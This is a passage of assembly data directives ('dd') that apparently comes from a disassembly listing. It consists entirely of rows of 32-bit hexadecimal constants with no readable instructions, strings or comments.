		dd 3DCF5C8h, 460A7C27h,	62A6AAFCh, 0F5F1DB25h, 0B472E065h
		dd 6EE8A30Dh, 4DA41B97h, 88D57387h, 6CF2E59Ah, 5050B014h
		dd 0A6907781h, 57AECBE1h, 5454B483h, 1FC051F7h,	0D1F7B1Ch
		dd 76486B6Ch, 0D07ABA7Bh, 16B3FDE7h, 0BEECA64Ah, 66E70CAh
		dd 0B8A926F3h, 2ADAAF5Dh, 0E668C720h, 0BDC35ED0h, 16801166h
		dd 0D35CB7F7h, 0C9126CA6h, 8FDB6223h, 0FD9A8E65h, 0D24F1FF6h
		dd 749F04F0h, 0D5244131h, 5A3616E6h, 0DD72EEDDh, 6D80E7F1h
		dd 0A4410ADCh, 7442CAB5h, 0CBA095D5h, 43C080D9h, 85F46955h
		dd 544A52FAh, 56A15412h, 8BC09C8Fh, 0EB1F5B06h,	77759B51h
		dd 0BAB230D7h, 3599FF80h, 603A8FADh, 0EFA282F7h, 0ECDB1D0Fh
		dd 7468D27Dh, 0D9546FD4h, 0AD5AD41Ch, 5895663h,	97A6725Dh
		dd 80FEB0C9h, 9E55D7C4h, 702870B8h, 62F0507Bh, 7E697FCCh
		dd 0F573043Fh, 0FAA5213Ch, 0BE5106FBh, 5D67EE59h, 364B8DE0h
		dd 664BE6D3h, 22A04FECh, 8A505586h, 693D730Ch, 6046642Ch
		dd 0A9C5CDF1h, 9A74C442h, 4CC90FB6h, 7725E837h,	3451FFCDh
		dd 0F16DA3A4h, 4D067533h, 2211F796h, 905AEC86h,	46C528BFh
		dd 0D6B0472Ah, 6A286101h, 0DF807FBCh, 3476E908h, 86F17D10h
		dd 187FFE2Dh, 3F889B02h, 4A40FF9Ch, 0BF34C9D2h,	0C7246725h
		dd 0BEDEC8A0h, 0B5CD0BD1h, 0D4C04202h, 32C770C5h, 7D96F541h
		dd 3940B21Dh, 0DAA9BD4Eh, 0D2D3AA1Ah, 67BF0B61h, 51DD665Dh
		dd 63FA2727h, 6442628Ah, 0FA62EF89h, 4D950F4h, 0E0522C68h
		dd 4E1C097h, 5D6C7C08h,	0D0AA926Fh, 0D4231438h,	0F030090Ah
		dd 31538498h, 17D09637h, 23B44EFDh, 0F3198AB9h,	277609C5h
		dd 0B1A5704Eh, 0F1ED48DBh, 61F352A5h, 325B98E7h, 91C6E1B1h
		dd 0F968EFF8h, 605900C5h, 743E9BFCh, 53E3FF10h,	0C844F429h
		dd 0CD4F8A3h, 98F7737Fh, 1A44F36Dh, 36ECBCC4h, 79B4DA5Ah
		dd 0ABBCE03Ch, 0E67474Bh, 0EE0CD9F0h, 0E0A91CAEh, 0A1A7C691h
		dd 0F2D6FE06h, 65E61A10h, 0B39ABF89h, 0C50C6785h, 0E2041B30h
		dd 94EC035Fh, 0FA8C71D2h, 0CE155EF6h, 0FF1A1EE5h, 551DE39Dh
		dd 962B93C6h, 0FA07E5CAh, 8C9B812Dh, 2459032Bh,	0D4A1FF39h
		dd 676F6084h, 2AFF31D9h, 8961A737h, 99D1AAA0h, 902BCEEFh
		dd 66ACB140h, 6AA22DAAh, 8EC95D76h, 0D987DC23h,	8E1B1BE3h
		dd 937A6F91h, 80A08EF9h, 9CFE91Ch, 65C0F23Fh, 4CD1F1EEh
		dd 0BCFC463Ch, 304E840Ah, 1E334AEFh, 688AE2DDh,	3FFC2E59h
		dd 8A56EC9Fh, 0AC7A08C7h, 7134F25Ah, 182379EAh,	49A9EB6Dh
		dd 0C1380065h, 0AA7880ADh, 0C96BCE50h, 9DBFB0FCh, 0F5BF10B0h
		dd 0D4F2BBCAh, 6981AAF9h, 0C7140CAEh, 45192CEFh, 0DAB50782h
		dd 953EB513h, 491819A9h, 4AC6C841h, 0A1071C66h,	0D470E571h
		dd 677C7566h, 0A8E1726Dh, 52C61AFEh, 0E2EA587Eh, 0F715BE17h
		dd 47CC3AFFh, 0E5E03958h, 0E94FB046h, 4533088Bh, 81945420h
		dd 0D733093Fh, 8736F9ADh, 662BF356h, 1001D2CBh,	0E5E8ACB5h
		dd 6BA08E5Bh, 4128F1FCh, 82C8AF81h, 1FB2C566h, 84E20FC9h
		dd 420A7B47h, 0DF88E8B3h, 8B191DFEh, 0D073C258h, 845CB71Ch
		dd 80EE4F16h, 0D5A5B564h, 89830E9h, 2979C695h, 5C945089h
		dd 794859AEh, 0A3E1FE40h, 0AC165FCFh, 328BFE29h, 0CFCF1EB9h
		dd 0CC4E2CA3h, 3E6C301Ah
		dd 1EA87070h, 9CF15AEFh, 6A7B1111h, 3BE24608h, 0E4FDE6F2h
		dd 70EE243Eh, 0EFA35EC2h, 0F256C639h, 2F25F6Eh,	880EDFE8h
		dd 4C539DFh, 384A8878h,	2C1307E1h, 4DE11926h, 5FA1AA4Bh
		dd 11B62B5Eh, 8D4E15C6h, 5AB0F006h, 0CF19531Eh,	0AE48AE77h
		dd 0C39D7C88h, 9183C336h, 2DD8414Ch, 3C86751Eh,	0BC01F74Fh
		dd 3C647627h, 1C585EC8h, 0E2D51245h, 0E5C57FE4h, 0F9A8DF87h
		dd 0F27C06EBh, 21DEBBD4h, 987EFC53h, 0B0261616h, 0C2815DB0h
		dd 0DF591684h, 0B6DBE85Dh, 1F9F748Ah, 16E0F3EDh, 0AB66AF3Fh
		dd 8BD64BAAh, 4F48663Fh, 5C5156C6h, 0B1C2FA43h,	91C07991h
		dd 0A9091C82h, 0E15905FCh, 0BC3C898Fh, 1B7105AEh, 773DB0A5h
		dd 56CC9EB6h, 850E74D1h, 0AD256458h, 0E71B910Ch, 0D99F26BEh
		dd 0FA81C0F8h, 0E31B46B8h, 0E680D889h, 890E5566h, 0B224F05Fh
		dd 0F6F3D51Dh, 5902A9C2h, 0F2942E76h, 0DDBC3E66h, 277525D1h
		dd 0C31543F0h, 51DCF171h, 7A8D76DEh, 2AC5BDF4h,	0A86712F3h
		dd 0A274CDAAh, 45A4BF1Ch, 0D4BD3D1Dh, 0EE352757h, 391C4D91h
		dd 220CC296h, 86EF77D6h, 53703EF1h, 96986CAEh, 7CA2624Fh
		dd 0D34C03D8h, 702F9702h, 0DB557DF4h, 82330888h, 52C8D724h
		dd 2B42F399h, 12EFA14Eh, 0A949EE23h, 4A0A8657h,	19BC389Fh
		dd 0BAD1E40h, 0B9AD41E7h, 0F98B1086h, 2AF808A1h, 24E8E302h
		dd 6B268011h, 41085E30h, 42091368h, 45952017h, 6FF2AAC8h
		dd 7CF5C0A1h, 0CB53C03Ah, 0D9D7EEA1h, 3171F86Eh, 0CC225752h
		dd 9DCD97A8h, 91959401h, 0A7BDA85Ah, 68B94B0Eh,	0B1EE7AACh
		dd 6A66D4A3h, 50709F6Dh, 38E2F2A3h, 4B8C42F2h, 0B29D524Bh
		dd 0C0C8DEA3h, 534A32CAh, 32DB8470h, 0BB4894BDh, 8A299B2h
		dd 0D365904Ah, 17C71D4Bh, 0E31BF326h, 4AF40A2Bh, 97F3B967h
		dd 0E149FB0Fh, 0F37DB58Dh, 37327408h, 64C13754h, 0F0CC4FC4h
		dd 988F16EAh, 0F0CB2459h, 0A4D6B00Fh, 538639A7h, 0C337265Bh
		dd 40708411h, 0D5F2C0C7h, 0C8CEF317h, 7065926h,	9DA33800h
		dd 0B74C6BF0h, 7AC638D5h, 7D2BCF9Bh, 6415253Fh,	0C5435948h
		dd 8741BEFEh, 344AF20Ch, 12197ADBh, 0FC861785h,	1509A984h
		dd 0D47D3D98h, 9526E8C1h, 6D2CBF0h, 89C0A7E6h, 4DE4D00Fh
		dd 88AE8CA2h, 0A69B33EEh, 43C1FBB4h, 0C7B2E0C9h, 41239C81h
		dd 9A439521h, 0FFA67DBBh, 6F7C70ABh, 966A1C77h,	52DBC48Fh
		dd 3E02CE8Ah, 0D72EFBA4h, 5970AD1Dh, 5EA77ADFh,	4062962Fh
		dd 3A0ABA41h, 0AEC82C2h, 5B6CD292h, 8A78B04Ah, 2F34F804h
		dd 0FE3619E6h, 1845A512h, 76CAC180h, 422C801h, 70D48BF4h
		dd 723E04ECh, 826509D9h, 0FBCB3F3Bh, 1FF43BD8h,	1A29AFBCh
		dd 0DE0B690Dh, 5767EB82h, 0BE31EE42h, 70ABD489h, 0D371BB33h
		dd 988EB085h, 237489C6h, 351DCA96h, 0F645E7B4h,	7125228Fh
		dd 6C90E48h, 4DC0EA5h, 1146184Bh, 38E0811Eh, 0E2E1E085h
		dd 0BEC44CEBh, 15A9570Ch, 6397EA3Bh, 3DD479C4h,	3F3097ADh
		dd 6F092549h, 4C202A4h,	0A44F8D6Fh, 0D85D6ADBh,	0B0076216h
		dd 0EE92E946h, 5127119Dh, 8C5AC80Dh, 33544DF6h,	7E6EA4DDh
		dd 7635F7C6h, 2559F748h, 0BDD463CCh, 45B56A61h,	0A2061FD6h
		dd 2BE08478h, 6072DA52h, 0FBBE9517h, 0EA6032DEh, 2F5E164Ah
		dd 62599C66h, 4074FDC4h, 0B03D52E2h, 8F42D6F4h,	0D199785h
		dd 6BF80231h, 874AAE5Eh, 7E3C6077h, 0DD50695Bh,	4CA86319h
		dd 8EB9BE4Eh, 2BF7C0B7h, 563FA680h, 8D8FB831h, 8B5171Bh
		dd 42240A1Ch, 35E15D8Eh, 8DD91D02h, 0F23CF63Dh,	0F9ADC466h
		dd 0C2733457h, 4F2303EDh, 40DC97E9h, 1F2E0114h,	0BCC5F650h
		dd 5EA649DBh, 446EC3D3h, 26B897B0h, 5D1AAD4h, 0C0EC8A2h
		dd 0F1E1B139h, 29DBDADCh, 4B46F7B5h, 0F1D2492Bh, 8A23E11Eh
		dd 88CD3447h, 0B20C00C9h, 109CD6D3h, 17D57D12h,	28D1CCAEh
		dd 490855B9h, 7BCA930Ah, 19F82377h, 60EA0BAh, 0C3158B88h
		dd 0EE15BDC3h, 0F84470EDh, 24BA71AFh, 498822E6h, 290E3439h
		dd 1763F92h, 9E3C63BBh,	1DF0606h, 78C319FFh, 893A4778h
		dd 4E1BB1D5h, 91940598h, 33F88BB3h, 0BC3116D0h,	0B95E6145h
		dd 6792E7A2h, 31EA1D1Bh, 6122136Eh, 2F5A187Ah, 29B38ED3h
		dd 7016F7FAh, 8EC64A96h, 41977F3Bh, 0B33C9140h,	0A2F81C23h
		dd 43D36629h, 0C86996E9h, 7BB4A0CBh, 9B56669Eh,	421F6A7Fh
		dd 94F50C64h, 0EDCEC9F9h, 0B73EE6CFh, 65771929h, 42015977h
		dd 511E97D5h, 4108176Bh, 910D9398h, 6C668593h, 6C16BD1Ch
		dd 0D4C7C74Ah, 0A1F0A936h, 0AE79F5B9h, 0D5F8FAD3h, 0F0951119h
		dd 5051DB52h, 9375EFF2h, 53910574h, 15E86EBAh, 1602B1Bh
		dd 0FF023D24h, 904236B4h, 0D0DDB2B0h, 0DB0078DDh, 0F06111AFh
		dd 88DF8202h, 5733329Ah, 884AF734h, 266F754Eh, 0B1A5DF1Fh
		dd 0B6C4E246h, 0CECEA1BEh, 0D6B08F6Fh, 0E3C508BDh, 98BAF6Ch
		dd 6E96E8F6h, 0E70B29Ah, 0C0AAE6F6h, 6B0C5492h,	0A5C0704Bh
		dd 0DA106BBEh, 0D72356E9h, 6927EE95h, 0C2FDA52Ch, 0DFA082C0h
		dd 28173097h, 4CE9640Ch, 0EBAF6C5h, 6E64B897h, 0E0B005BCh
		dd 6167C23Dh, 0CFE433BFh, 0CAE26643h, 0B4E7E646h, 8CED486Dh
		dd 9226BDB1h, 0C9A14003h, 65225FD9h, 4A70974Ah,	0F7ED9D62h
		dd 6E52B1E8h, 83BDFEFCh, 8DEFC74h, 0DDCA78D6h, 0F8656C73h
		dd 89B72A88h, 719A471Eh, 35AC662Bh, 4AA67B1Ch, 0B09DB6EEh
		dd 0AA92AF7Eh, 0C87AF38Bh, 427F244h, 3B3B26Eh, 8C2AEF20h
		dd 2A806878h, 0E037541Ah, 4BCFB9D3h, 0E0E525BDh, 411B3E24h
		dd 8EF49990h, 6D44E2E2h, 6B457C3Ch, 488D8E24h, 23F50CD3h
		dd 547C054Eh, 0A4ECD353h, 9B17A0E2h, 5E8404AFh,	5DF4D404h
		dd 0D4282EC3h, 9CD82BB1h, 497959EEh, 8814F631h,	994C3DDFh
		dd 66F44979h, 0E486D894h, 390BA1EEh, 0DDE71BBCh, 3B438751h
		dd 7CEC11AAh, 2B183FD9h, 5588D5F2h, 0C02DC959h,	0E54F462Ah
		dd 44A28F82h, 3DD59F74h, 0B660AB7Fh, 307E23EEh,	504DF04Eh
		dd 16F6FEA4h, 0E60CD2h,	82A30BC2h, 0AE6A1B35h, 945ED674h
		dd 2E1C68A8h, 8902D423h, 180E80Eh, 0CC3E3CFAh, 4D2903Dh
		dd 57365FDFh, 0E89435DBh, 22A0BEAEh, 0B66E30D0h, 0EB5A39D4h
		dd 4DF59D55h, 4060B80Eh, 430C7E6Dh, 0D8588C6Fh,	78E2D91Eh
		dd 3F8BA8FAh, 0E86B52E6h, 2941EAECh, 5FB19E60h,	438589EAh
		dd 9A94E8Ch, 0D0B4DDEh,	0E805994Fh, 1815C0B3h, 0A656211Ah
		dd 8D4156EEh, 0EC9B2FEFh, 0A938125h, 4FE302F9h,	0F1367394h
		dd 3DF73BA9h, 5F43B1B9h, 7A5395E8h, 0EA64DD8Ah,	7B7754EEh
		dd 1EAA0623h, 0AB9B1818h, 0F8912297h, 353F67B8h, 88ED0141h
		dd 0EF878A9Dh, 27273293h, 5074D870h, 0D6784F59h, 0DB23CECCh
		dd 64017D4Fh, 380B658Ah, 6FD7AD1Ch, 0F6A49A7h, 58362F9Dh
		dd 718BD3A6h, 404A5B54h, 485EE815h, 88B7530Eh, 0ABC7F449h
		dd 0A568F171h, 40D01196h, 45839B0Ch, 0C7045EDFh, 0EB42BA8Dh
		dd 0B24B89C0h, 96742089h, 2F0D7437h, 0D8BEF172h, 36C964CCh
		dd 15ECE3DBh, 47589D19h, 1FDF6899h, 5FC4A6FBh, 71A468FEh
		dd 0F31F4F15h, 0E84D793Bh, 0B05BF0F3h, 4716210Ah, 4F2F639Bh
		dd 62647D30h, 0A0597623h, 39F38B35h, 94AD9907h,	611CE24Eh
		dd 55872BC7h, 32368533h, 656D6DB0h, 905C0442h, 0D65B7191h
		dd 40268B54h, 333C7042h, 7100FFC3h, 61281A73h, 774B267Fh
		dd 22F0BE3h, 0EA65477Dh, 0D6B0350Ch, 53CD9531h,	0A0D39EE7h
		dd 7F15268Ah, 0FD7FB2ECh
		dd 0A9458267h, 90938CA9h, 0E100EBA3h, 2E3A362Ah, 0D9D48850h
		dd 0CE0BA165h, 578B3EAAh, 0EA318E0h, 1A08ECD8h,	69AAAA07h
		dd 0DCBEE1F8h, 0DAB614D8h, 1D53D22Bh, 8A5BC9Ch,	0A505E216h
		dd 588A2D8Ah, 8C0FD145h, 5695A853h, 192992D4h, 8A36A53Dh
		dd 92B584E0h, 0DBE194F2h, 8F77A9D2h, 4E0B82A2h,	2B2E3EB2h
		dd 7928B7BFh, 3EDDC6D2h, 1343CF63h, 0C642D63Dh,	0EFA48AABh
		dd 31DE362Bh, 0FF765A49h, 3DC1DB09h, 4491F64Ch,	1B4C91D8h
		dd 3011A05h, 8C39D48Ah,	42DD164Dh, 2E288AAEh, 0ED910E0Dh
		dd 3BE1C2Eh, 7D244FF1h,	4F568178h, 8F8283E1h, 3476863h
		dd 53B713h, 1E4ED248h, 0A472AC4Ch, 99BE2C96h, 57AB22E4h
		dd 0A8D44BD9h, 0ED502E1Dh, 7AB518B0h, 6FFEC209h, 0CC4A1743h
		dd 4468C066h, 0BC6563D0h, 2E2130C4h, 0F8AF3D9Fh, 8095B309h
		dd 0B859F052h, 328D5003h, 4EF94AFh, 0BDAB2CBBh,	748C19F5h
		dd 8D82206h, 0BDD1CEA2h, 99DF0495h, 0E71CC770h,	0CB8E594h
		dd 5F62BCF9h, 452F4D51h, 0B197FF53h, 0E85D1AEDh, 0AA66BCB5h
		dd 9EE187Ah, 0F357F90Eh, 0FA2B0767h, 375B78B7h,	9C7AC904h
		dd 255A25C8h, 784E7914h, 0F2F7D6ADh, 6BCABC16h,	0C25F7BC5h
		dd 0F4BACCC5h, 0CC400FCEh, 0E8608E14h, 407AFBDDh, 679C319Dh
		dd 4B346E26h, 3BF02942h, 72127E18h, 0E5A08FB2h,	3E80AE10h
		dd 55962F32h, 8220ACBBh, 0F851DA4h, 413195B8h, 8F5FCE25h
		dd 0C7DDF572h, 0A5488616h, 16354E8Bh, 0E9E525Dh, 414E812Bh
		dd 0FF122C2Fh, 0B1250842h, 3334572Dh, 9CA3C918h, 37F06AF8h
		dd 5E58532Ch, 0DE544DA0h, 1140D419h, 8163D8EDh,	0A1BFCBFAh
		dd 95C25B7Ch, 0FB6AAD4Ah, 0BCCFB0E5h, 0D4D6B4D3h, 8092E47Ah
		dd 804DD42Ah, 0F35E44A5h, 80BF03DCh, 37B60E6Ch,	645F8426h
		dd 0E5653B99h, 0D29B64C5h, 0E3837108h, 0FD391812h, 0A1959948h
		dd 0FE1A899Ch, 5CC4CCCCh, 5EF82379h, 2BD6C30Ah,	0A0C49F4Bh
		dd 6B5282B0h, 95D4BDB9h, 6CCE4862h, 0B03EB13Bh,	0D17C2459h
		dd 2E99E3D1h, 0A8CD3A2Ah, 0E1D16F69h, 0A08FA73Eh, 0BB0A11F4h
		dd 5EB2D613h, 0E894D1E1h, 0D8A2BB5h, 6D860426h,	3A222857h
		dd 0F6D78847h, 5B74DB54h, 0A888FD29h, 0A30D5D95h, 0F864E7FAh
		dd 0FDE0F9E0h, 182F0434h, 2BCA6233h, 61117CF2h,	169F3E59h
		dd 2032E868h, 0A5AAEB43h, 0FD0BF364h, 0E59F46ADh, 1B0482F3h
		dd 39EF4552h, 611286C7h, 8B4CFE7Dh, 0DD3A2C2Eh,	0C838095h
		dd 22886A06h, 6D427AE3h, 0E69C20E6h, 2AC575D1h,	926910ABh
		dd 0A7350090h, 2870C291h, 144A2FA9h, 0A347FACEh, 7DF056CFh
		dd 0A516FCB9h, 0DA6AB183h, 0D78057D1h, 0B1ABC0EDh, 714A599Ah
		dd 0FAC79C8Fh, 2D7139B7h, 0E67B9E0Fh, 50709315h, 4AE919B1h
		dd 8A47A24Ch, 8B59D186h, 0D7A0E310h, 0C70D2DCCh, 25F3D21h
		dd 8876347Fh, 0DBEEF4B2h, 3607A674h, 39D90E03h,	79654D29h
		dd 39C260C3h, 96813664h, 0D39FB069h, 0FDBBA20Ch, 0B0833B5Bh
		dd 8A194FFAh, 0DAB85405h, 0B73B469Ah, 0E4FE66EBh, 9330799h
		dd 67A46BBh, 6B6E45BBh,	1544EFA2h, 0BFE265E5h, 4263CFC0h
		dd 1A31720Bh, 4926B0C8h, 4411A9EBh, 7F497E91h, 0FE0348BDh
		dd 0DEB33971h, 18F87188h, 71ADE868h, 0B817B23Dh, 7E295233h
		dd 8091A095h, 8E1DBAC6h, 0ED8893A6h, 7BD2DAB5h,	40F60604h
		dd 0A34DDE02h, 95998ECh, 4E134B82h, 5EE63665h, 91E7435Fh
		dd 6D7FA2EFh, 0FF0742FBh, 0CE046689h, 4BC2AD9Dh, 0CAF5882Dh
		dd 0A9E488E8h, 106BEBEFh, 3EBF75A9h, 0F2C4722Fh, 0AF045736h
		dd 110A245h, 103BE6D0h,	5E37A7DDh, 0D68848F9h, 511971A7h
		dd 4B1E0D36h, 0FEF42E4Dh, 0C7D019F3h, 0E9B94D1Fh, 0A60EB5DDh
		dd 0B0ED5718h, 0D86847CBh, 0E618F77Dh, 6D901BA3h, 0F0DC2375h
		dd 0DAC87E9Eh, 4C780550h, 0E40B94BAh, 91E23676h, 39613AE7h
		dd 8DED9902h, 0B1B42BB9h, 0C3DFD039h, 0C2E6514Ah, 0ADE7AC28h
		dd 0F83A5828h, 6F84B421h, 0BF09AA91h, 91DB9E53h, 4FA5A9EBh
		dd 7076D0B1h, 2EDEEAD8h, 92BBEDF5h, 583228BAh, 64DA9D82h
		dd 0BA0501F1h, 3737C250h, 0D6CEFF96h, 74753296h, 1EBE9821h
		dd 0C25E61E0h, 0F3F9C860h, 0E48F931Ch, 0DA57E106h, 61F0495Bh
		dd 2FB28383h, 8AB91DFDh, 0B0F949D2h, 304523F5h,	67C2DD0h
		dd 0F0A1F51Dh, 4512C45Ah, 2E463C4Bh, 0ABD4E651h, 60A72B23h
		dd 0DDC0A191h, 0E4541700h, 816D279Ah, 8693FE76h, 9D5414C6h
		dd 78045461h, 48B54173h, 0B84EA35Ch, 0DC2EDD3Ah, 679CD407h
		dd 71754A6Eh, 0BB100D2Bh, 359EF523h, 33D94993h,	0DC6ACB06h
		dd 0C4D5C1C7h, 89395535h, 0BF2B457Ch, 0C30CAAE3h, 4F31C4FBh
		dd 0C5907605h, 62ADFB65h, 0D70063EBh, 0D5FABEDEh, 90BCDA43h
		dd 38A792EFh, 2039AC1Fh, 0D0D9D072h, 0F276F6D6h, 694B18DEh
		dd 0D7B69907h, 76880810h, 969714B3h, 55D38659h,	7A637A4Ch
		dd 0EE82B336h, 95770B73h, 0D980B531h, 0D1971977h, 8419D609h
		dd 3C25000Fh, 0BD067DC5h, 0FF94B942h, 6D48F417h, 2933D3ACh
		dd 9F817787h, 0FF7B45E9h, 0FD339C22h, 1AC528B2h, 36D0663Eh
		dd 18F2B126h, 0B462020Ch, 142CF81Dh, 0EDD7F061h, 0F08A07Dh
		dd 4E2482B2h, 0FF3DDC04h, 0E163AF12h, 8FF5872Ch, 26A7AD64h
		dd 0EA2883A7h, 0D618201Eh, 5B483411h, 2853BFC4h, 0AA5587CEh
		dd 9730E9CCh, 9D964514h, 0D08A21F4h, 0C93E95D4h, 537F2A67h
		dd 9BC865E8h, 32FB6899h, 1DAC2E78h, 89535EECh, 0B235AADAh
		dd 6EB25DE8h, 364B9B82h, 0CB3F1752h, 0BFD46837h, 9FFF2992h
		dd 7E5ED74Ah, 0E0125D03h, 11E31C4Eh, 6128E270h,	8757E27Bh
		dd 28093B63h, 99DD522Ch, 0E6CCE7EBh, 0D24F9627h, 0FFBDC7E7h
		dd 89A9E000h, 4D3B09C3h, 0B490F969h, 9E1F00Fh, 0F01F1954h
		dd 0F6E610D6h, 0C01B6EB5h, 27BECD6Ch, 0D28D7683h, 46191F82h
		dd 0DBB9500Fh, 0C5D835A6h, 1FAB59DFh, 0B6A5305Dh, 0BB637CCBh
		dd 0A2876775h, 982B8DC9h, 0A398B89Eh, 7F6BFB0Ah, 0F76E8637h
		dd 490F5AD2h, 97E5C2B4h, 0FE5E1F00h, 0B4B388C6h, 1D87D9B9h
		dd 3D1AE8AEh, 0A1E4F040h, 301A6A69h, 25F16CABh,	6A04BF2Ah
		dd 27996EF9h, 0E6CCCF25h, 89B8AE28h, 80D045C4h,	138E2206h
		dd 3A2AE01h, 0D829F0Eh,	0BB3DF82Bh, 0C1997CEBh,	0A509DEEh
		dd 2E8E05D6h, 0D00A2E5Ch, 0A3BD6D1Eh, 3AE63F43h, 13BCE04Bh
		dd 789F04E8h, 4D342323h, 0D9E16FA4h, 0E305E223h, 271D4EE6h
		dd 0BA597FF7h, 0EC0A659Bh, 21F5F4A0h, 6D2B55EAh, 8264D79Bh
		dd 0D39AC166h, 0C10608DAh, 2BD528C1h, 1715778Ch, 0AB7CF258h
		dd 63D28539h, 0EDC8C085h, 5C27FE7Bh, 6B03E896h,	2EC8BFADh
		dd 0FFEC5704h, 4588CE9Dh, 8DBB289Ch, 0FD59AA7Fh, 0BBB15DB7h
		dd 4280CB84h, 0E1C16FD8h, 381031D2h, 0D2D85B83h, 5F71B967h
		dd 2D86D8B6h, 2BB62438h, 471E512Eh, 0C7EBA0D3h,	2A1FE0BFh
		dd 2D7D48E2h, 7F392484h, 0D72D5C07h, 0D8EFE130h, 710738F5h
		dd 0B1C2F42Dh, 56E6B4CCh, 3EA4D8AFh, 0FC9E7159h, 1C46BB1Bh
		dd 3DCF998h, 0E2A64B1Eh, 9CC8F94Dh, 0AE2A76Ah, 0E4DA664Eh
		dd 31D97CAFh, 4C26C49Ah, 0CE6C0990h, 0D0073018h, 0F1684C78h
		dd 2BE22233h, 4CA2389h,	0FB422C80h, 67030835h, 5FC00BC9h
		dd 412F3984h, 81769A03h, 149B4385h, 0C106ACBCh,	5C61E083h
		dd 0CD5F7006h, 91D1B94h, 0FE600A8Fh, 0E3447055h, 0A8DFC243h
		dd 12E022CEh, 6878387Ah, 63ECD315h, 0C4BFE622h,	35231B95h
		dd 3C537AB7h, 938B0CA1h
		dd 255BDD60h, 0EBA646C7h, 0CDD6A5C2h, 504EEDB8h, 0DD25F71Ch
		dd 908EE6FEh, 25861AEBh, 4557CA88h, 0CCC16DD8h,	0F85613A7h
		dd 482661B4h, 0D31987BFh, 369F32E8h, 0CDAF1993h, 0C2C1C9DBh
		dd 0A8D7C784h, 377E817Bh, 0E355D6A9h, 31B0A2E1h, 5F2600DFh
		dd 3DA5B19Ch, 930DE636h, 1132CA2Ch, 5912FA29h, 0E6CFC708h
		dd 4E923797h, 982D0C5Eh, 0E8BEB4A6h, 949FEAD4h,	353FCF4Bh
		dd 86E75315h, 4A50B596h, 9836B7A9h, 0BA1F9D5h, 3A3834ECh
		dd 5C73CD0Ah, 16D54AA7h, 6C4A9686h, 0F4D4EBFFh,	683B213Ch
		dd 0D00393EBh, 7EEAE8Dh, 0C513489Bh, 0A81FF708h, 38162277h
		dd 4421351Ch, 994FAACAh, 0D482227h, 20C9106Ah, 0FA6FBBEh
		dd 93548F3Ah, 3CC0EBCEh, 57411FB8h, 0A68A3CA4h,	3968C3EEh
		dd 21EAE568h, 18F3D0A1h, 117FCFC5h, 0D90D86C2h,	2ED39C89h
		dd 4BD61790h, 87FED7ACh, 974F7EAEh, 38316F48h, 1CFACE57h
		dd 22670AB5h, 0E18D4155h, 0AF72EBF6h, 79C92DA8h, 0D0951020h
		dd 0D2D51698h, 0F5DF680Fh, 570CDC87h, 0C8C246BCh, 942BEDE0h
		dd 0F1DCAB7h, 0CB474819h, 24787382h, 0A987B71h,	8708735Fh
		dd 0C6B2A709h, 86104C48h, 87D14C8Ch, 0AA501851h, 0A9EC0A61h
		dd 0E5B82765h, 5FE1F118h, 3BA943ABh, 4030F93Eh,	0C02B7B6Ah
		dd 0B27BA4BBh, 0ED22AC18h, 721EABA6h, 0E5723A5h, 0AB248B1h
		dd 1CEE3E8Fh, 0B4210EDFh, 412210D3h, 41ED0137h,	46EB6CC3h
		dd 0F852FE8Bh, 128CC1FDh, 8089FFh, 45192BA4h, 0A41EEEDDh
		dd 9BD996EEh, 0AEA3FCC4h, 3ADD8067h, 571064A0h,	5B7F6683h
		dd 0F1C3F882h, 1478AEA5h, 0CFBFEDC2h, 126F7955h, 382E09B5h
		dd 0F6B3D31Eh, 5B0ECAB6h, 78CFD21Eh, 0DA47B633h, 0DFA82CFCh
		dd 11C390E7h, 0AFAE2F9Ah, 0BA47553Dh, 38442C00h, 1971FCA9h
		dd 0C09BDB6Ah, 6B277CA6h, 0A9F5245Ch, 721F0ED9h, 7D45A27h
		dd 0EA2CC56Fh, 0B9B02B6Eh, 1FE722ECh, 0A69F078Fh, 4E8F53B5h
		dd 73208FB3h, 9478BF27h, 2EB42F7Fh, 0C482C9C5h,	6DEC670h
		dd 6EEBBD01h, 73FBC3A2h, 60147A2Ah, 0CFA0F21Dh,	0BBFA68EBh
		dd 7948D9A8h, 0B3BE0045h, 1F61BBDFh, 0FA75CF2Ah, 0C9C9A41Bh
		dd 9E097DE8h, 3EF9B25Dh, 3C17CD59h, 0EA61080Bh,	996E8F17h
		dd 0B4F4B6A9h, 0A2BDBB16h, 24F90A1Eh, 960B8ADDh, 0B917EE30h
		dd 0E7F7B8F3h, 0B73259CEh, 594CADB6h, 2A5BA6A5h, 0C651FB00h
		dd 89033E2Bh, 0C650E9AEh, 78250CDBh, 5213D595h,	3D84211h
		dd 0D1DE21B0h, 99C3BFB5h, 0DAB00E3h, 0B289F9FFh, 9E9C9F04h
		dd 0CCF722F1h, 0A2EA5D75h, 3C585038h, 0CC1506E2h, 99C236A5h
		dd 9C604B3h, 0EDC47DFAh, 0AF9FB1A7h, 980D7CAAh,	16650379h
		dd 6ECEA4C4h, 1101AAE4h, 8204AA22h, 0C16E14DDh,	7D05928Ch
		dd 21E803ADh, 143CFC94h, 9F462C18h, 297B8BCCh, 98C411D2h
		dd 0FB1E1F3Dh, 0DC8CCFEAh, 0AF900565h, 0F8186526h, 2F15D342h
		dd 3F00D33Bh, 2800DEB3h, 68D737Ch, 0CC90FC2Ch, 2481D3Fh
		dd 3B01C5F8h, 0DCB15D2h, 3F00F6D5h, 6F5AE7A2h, 47BF4501h
		dd 51BFB574h, 221CE4E4h, 0C1BFC2E7h, 0ACE29B99h, 81CACF85h
		dd 41E00B5Bh, 9F623972h, 1C6FD9FFh, 6553A2C1h, 5304B836h
		dd 8C1F4A3h, 7B0252C9h,	9E1E8DAFh, 60A41E8Dh, 857AB6E0h
		dd 4952B668h, 2FE19C18h, 31E15E5h, 0E090EDB1h, 0C7746D7Ah
		dd 5EAE7E95h, 7A975E2Eh, 0B60BA673h, 611488ABh,	0DD096904h
		dd 89685FC7h, 4F5AA58Ch, 0B830901h, 247A8749h, 0C62396F2h
		dd 0AD388624h, 0B1DB1884h, 51599FE3h, 79FD2F15h, 0A1B9EC06h
		dd 67ED5D40h, 5EB0E88Ch, 0EDEE5610h, 430366B9h,	3956FD04h
		dd 7C8B2032h, 7A829885h, 53BA77E6h, 602C91A3h, 0AF46832Ch
		dd 818FE0CBh, 960EAA89h, 1A35F255h, 9945F206h, 1E2C1178h
		dd 7AB4061Fh, 708FEB30h, 82B557F3h, 5162F741h, 389CCC90h
		dd 875C4AE6h, 0B60BBC0Fh, 6F8C908Fh, 17D5882Eh,	76817963h
